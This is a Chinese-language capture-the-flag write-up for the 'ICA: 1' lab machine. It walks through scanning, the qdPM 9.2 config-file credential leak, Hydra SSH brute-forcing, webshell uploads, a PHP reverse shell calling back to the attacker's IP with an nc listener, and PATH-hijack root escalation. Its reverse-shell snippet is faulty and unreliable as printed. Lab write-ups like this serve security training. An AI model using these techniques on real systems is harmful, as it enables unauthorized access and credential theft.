简介
-
名称:ICA: 1
-
发布日期:2021 年 9 月 25 日
-
难度:容易
-
描述:根据我们情报网络的信息,ICA 正在开展一个秘密项目。我们需要弄清楚这个项目是什么。获得访问信息后,请将其发送给我们。我们稍后会放置一个后门来访问系统。您只需关注项目是什么。您可能必须通过几层安全性。原子能机构对您将成功完成这项任务充满信心。祝你好运,代理!
-
kali攻击机ip:192.168.1.4
-
靶机地址:192.168.1.32
一、信息收集
1.使用arp-scan对靶机IP进行扫描
2.使用nmap对目标靶机进行端口扫描
nmap -p 1-65535 192.168.1.32
开放了22,80,3306,33060
3.使用dirsearch对目标靶机进行目录扫描
dirsearch -u http://192.168.1.32/
[11:09:37] 301 - 309B - /js -> http://192.168.1.32/js/
[11:10:27] 200 - 406B - /backups/
[11:10:27] 301 - 314B - /backups -> http://192.168.1.32/backups/
[11:10:33] 200 - 0B - /check.php
[11:10:39] 301 - 311B - /core -> http://192.168.1.32/core/
[11:10:40] 301 - 310B - /css -> http://192.168.1.32/css/
[11:10:49] 200 - 894B - /favicon.ico
[11:10:56] 301 - 313B - /images -> http://192.168.1.32/images/
[11:10:56] 200 - 639B - /images/
[11:10:57] 200 - 2KB - /index.php
[11:10:58] 301 - 314B - /install -> http://192.168.1.32/install/
[11:10:59] 200 - 764B - /install/index.php?upgrade/
[11:10:59] 200 - 764B - /install/
[11:11:00] 301 - 317B - /javascript -> http://192.168.1.32/javascript/
[11:11:01] 200 - 576B - /js/
[11:11:10] 200 - 208B - /manual/index.html
[11:11:10] 301 - 313B - /manual -> http://192.168.1.32/manual/
[11:11:37] 200 - 338B - /readme.txt
[11:11:39] 200 - 26B - /robots.txt
[11:11:58] 200 - 487B - /template/
[11:12:04] 200 - 471B - /uploads/
apache
index of
网站安装目录
二、历史漏洞利用
1.使用searchsploit查找qdPM框架历史漏洞
qdPM 9.2 - Cross-site Request Forgery (CSRF)
跨站请求伪造(CSRF)
在CSRF攻击中,攻击者通常构建一个恶意的URL,这个URL内嵌了一个请求,当受害者点击时,他们的浏览器会自动包含任何相关的cookies或认证信息,并将请求发送到目标网站。例如,攻击者可以创建一个链接,当用户点击后,会向qdPM服务器发送一个修改密码的请求,如果用户当时已经登录了qdPM,那么这个请求就会以用户的身份被执行,从而导致密码被更改。
qdPM 9.2 - Password Exposure (Unauthenticated)密码暴露(未认证访问)
如果存在未认证的密码暴露漏洞,攻击者可能无需认证就能访问存储在数据库中的密码或通过网络传输的密码。这可能是因为qdPM以明文形式存储密码,或者在传输过程中没有使用加密,使得中间人(MITM)攻击成为可能,攻击者能够截获并阅读密码数据。
使用find,cat命令查看历史漏洞利用信息
漏洞详情
- 标题:qdPM 9.2 - 数据库连接字符串及密码暴露(未认证)
- 日期:2021年3月8日
- 作者:Leon Trappett (thepcn3rd)
- 厂商主页 :https://qdpm.net/
- 软件下载链接 :https://sourceforge.net/projects/qdpm/files/latest/download
- 受影响版本:9.2
- 测试环境:Ubuntu 20.04上的Apache2服务器运行PHP 7.4
漏洞说明
qdPM 9.2中数据库的连接字符串和密码被存储在一个YAML文件中。通常,这种敏感信息应当被严格保护,但在该版本中,可以通过直接访问
http://<website>/core/config/databases.yml
来下载并查看此文件的内容。这意味着任何人都可以在不知道任何认证凭据的情况下访问和下载包含数据库连接详细信息的配置文件。
wget http://192.168.11.177/core/config/databases.yml 下载yml文件
username: qdpmadmin
password: UcVQCMQk2STVeS6J
2.Navicat连接mysql数据库
mysql数据库+qdpm网站数据库+staff员工数据库
staff表
员工SSH登录账号
员工SSH登录密码
密码base64解码
Smith
suRJAdGwLp8dy3rF
Lucas
7ZwV4qtg42cmUXGX
Travis
X7MQkP3W29fewHdC
Dexter
DJceVy98W28Y7wLg
Meyer
cqNnBWCByS2DuJSy
通过staff的数据对ssh进行爆破------使用Hydra
hydra(九头蛇)是著名黑客组织thc的一款开源的暴力破解密码工具,功能非常强大,kali下是默认安装的,几乎支持所有协议的在线破解。密码能否破解,在于字典是否强大。
这里一定要注意将账号全部改小写,将账号、密码分别保存到两个文件
多线程分析命令
hydra -L /home/kali/桌面/user -P /home/kali/桌面/passwd -t 2 -vV -e ns 192.168.1.32 ssh
login: travis password: DJceVy98W28Y7wLg
login: dexter password: 7ZwV4qtg42cmUXGX
xftp连接------travis有一个flag,dexter有一个文件
++ICA{Secret_Project}++
存在一个note文件,内容如下
qdpm表
打开configuration表可以看到网站登录的账号密码,密码加密,无法直接登录。
要清楚加密方式,才可以解密
加密识别
方法1:这个网站密码加密方式未知,可以下载网站源码,放notepad找加密文件,了解对应的加密方式,具体流程可以参考服务器取证的题目。
方法2:网上查了一下,qdpm现在使用的是一种叫phpass的加密技术,也叫做wordpress(MD5)
谈谈常见的加密和哈希值表示法:
- "$P$" 通常表示经过 PHPass 工具加密的密码哈希值。
- "{MD5}" 表示该字符串是 MD5 哈希值。
- "{SHA1}" 表示该字符串是 SHA-1 哈希值。
- "{SSHA}" 表示该字符串是 Salted SHA-1 哈希值。
- "$2a$" 表示该字符串是经过 Bcrypt 工具加密的密码哈希值。
- "$2y$" 也表示经过 Bcrypt 加密的密码哈希。
- "$5$" 表示经过 SHA-256 加密的密码哈希。
- "$6$" 表示经过 SHA-512 加密的密码哈希。
方法3:也可以用在线识别网站判断加密方式------https://hashes.com/en/tools/hash_identifier
方法4:也可以使用hash-identifie:https://gitlab.com/kalilinux/packages/hash-identifier/-/tree/kali/master
hash-identifie是一个非常容易使用的 Python 工具,当你输入一个哈希值时,它会告诉你这个哈希值最有可能是什么哈希类型,将一系列哈希类型按可能性进行降序排列。
你可以使用以下方法从 gitlab 中提取hash-identifie的python 文件进行工具安装:
wget https://gitlab.com/kalilinux/packages/hash-identifier/-/raw/kali/master/hash-id.py
密码破解
在kali自带的John the Ripper工具里支持对phpass加密密码的破解
John the Ripper支持7种哈希类型密码破解,分别是bcrypt、descrypt 、sha512crypt、Drupal7、sha256crypt、md5cryp 与 phpass
我们把密码拷贝出来,存在攻击机的一个文件里
使用john尝试破解:john 文件路径 --wordlist=/usr/share/wordlists/rockyou.txt
不过我电脑都快跑冒烟了都没解出来
只能重新设置密码,加密后覆盖原密码
另外也可以用python调用phpass进行解密
from passlib.hash import phpass
\# 加密
password = "ABCDEF"
hashed_password = phpass.hash(password)
print(hashed_password)
\# 验证
if phpass.verify(password, hashed_password):
print("Password matched")
else:
print("Password did not match")
http://web.chacuo.net/safewordpress
这个网站也可以生成
密码:PBFHXrjZhxiaw7s1qSMm2xePeFsvz5L.
admin@localhost.com/123456 登录成功
三、文件上传
继续拿权限------添加用户,尝试上传php文件和图片文件的一句话木马,但是网站有过滤
添加一个自己的账号,给予管理员权限
用增加的用户登录
项目------新建项目------添加附件------上传木马
方法一:weevely
weevely生成php木马
text
weevely generate 密码 ./木马名称.php
上传网站
文件上传路径可以通过前面信息收集到的目录查找到------Index of
http://192.168.1.32/uploads/attachments/
方法二:蚁剑连接一句话木马
后面发现不管哪个地方上传都是在/uploads/attachments/目录下
这里是通过添加备注上传一句话木马,蚁剑连接即可
方法三:反弹shell,nc监听
利用文件上传漏洞进行反弹shell是一种常见的渗透测试技术,主要用于在目标服务器上获得一个交互式的shell。以下是在Kali Linux中,通过上传PHP文件来实现反弹shell的步骤:
前提条件
- Kali Linux
- 网络访问至目标服务器
- 已经发现并验证了目标服务器的文件上传漏洞
步骤
-
准备反弹shell的PHP代码
创建一个PHP文件,该文件将在被访问时尝试与你的Kali机器建立TCP连接。你可以使用以下代码模板(将
YOUR_IP
替换为你的Kali Linux的IP地址,将YOUR_PORT
替换为你选择的监听端口):php<?php $ip = 'YOUR_IP'; $port = YOUR_PORT; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { $msg = "Now exiting...\n"; echo $msg; exit; } fwrite($sock, "$shell\n"); while (!feof($sock)) { if (feof($write_a)) { fwrite($sock, "\n"); continue; } $read_a = fread($sock, $chunk_size); if (strlen($read_a) == 0) { break; } fwrite($write_a, $read_a); } fclose($write_a); fclose($read_a); fclose($error_a); ?>
将这个代码保存为一个
.php
文件,例如revshell.php
。 -
设置监听端口
在Kali Linux上,使用
nc
(netcat)或ncat
(nmap的扩展)命令来监听指定的端口。例如,监听4444端口:bashnc -lvnp 4444
或者使用
ncat
:bashncat -lvnp 4444
-
上传PHP文件
使用已知的文件上传漏洞将
revshell.php
上传到目标服务器的web可访问目录中。这通常通过Web应用程序的文件上传功能完成,具体方法取决于目标应用的上传机制。 -
触发反弹shell
通过访问你上传的PHP文件的URL来触发反弹shell。例如,如果文件上传到了
http://target-server/path/to/uploadedfile.php
,就在浏览器中访问该URL或通过curl访问:bashcurl http://target-server/path/to/uploadedfile.php
-
接收shell
在Kali Linux上,你应该能看到一个shell出现在
nc
或ncat
的监听端口中。现在,你就可以与目标服务器进行交互了。
升级会话
使用python -c 'import pty; pty.spawn("/bin/bash")'升级会话
这个命令在Python中启动一个交互式的bash shell会话,其中使用了Python的pty
模块。
这种技术常被用于远程控制场景,例如在SSH连接中,或者在自动化脚本中需要模拟用户交互的场景。此外,它也被黑客用于在成功获得初步权限后,提升为更完整的shell访问,尤其是在渗透测试或红队活动中。
四、提权
这里建议使用反弹shell连接,上面的方法1,2均为webshell,权限较低,无法执行更改命令
text
find / -perm -u=s 2>&1 | grep -v "Permission denied"
这条命令的目的是列出系统中所有设置了Set-UID权限的文件,同时排除了因权限不足而产生的错误信息。这在系统管理、安全审计或查找潜在的安全漏洞时非常有用
1.找到可疑文件get_access
text
strings /opt/get_access
尝试读取该文件的字符内容,发现setuid
字样,及cat
读取root
路径下文件的语句。猜测该程序先设置了UID
,之后调用cat
读取文件。可以考虑通过替换cat
提权。
2.更改环境变量
执行get_access提权
bash
cd /tmp
echo '/bin/bash' > cat
chmod +x cat
export PATH=/tmp:$PATH
/opt/get_access
3.找到Flag
root@debian:/root# ls
ls
root.txt system.info
root@debian:/root# more root.txt
more root.txt
ICA{Next_Generation_Self_Renewable_Genetics}
root@debian:/# cd /home
cd /home
root@debian:/home# ls
ls
dexter travis
root@debian:/home# cd travis
cd travis
root@debian:/home/travis# ls
ls
user.txt
root@debian:/home/travis# more user.txt
more user.txt
ICA{Secret_Project}ICA
三个flag已找到
总结
1.这次靶场先从信息收集入手,获取网站端口,目录等信息
2.对80网站利用框架漏洞进行渗透,获取Mysql数据库账密,再通过3306端口连接数据库,得到网站和SSH连接的账号密码,再通过密码爆破和密码MD5解密成功连上SSH和登录网站,找到一个flag
3.网站上传了三种木马,最后反弹shell到攻击机上执行命令
4.通过SSH的文件提示知道提权文件的利用方式,即ICA提权,获取了root权限,找到了最后的两个flag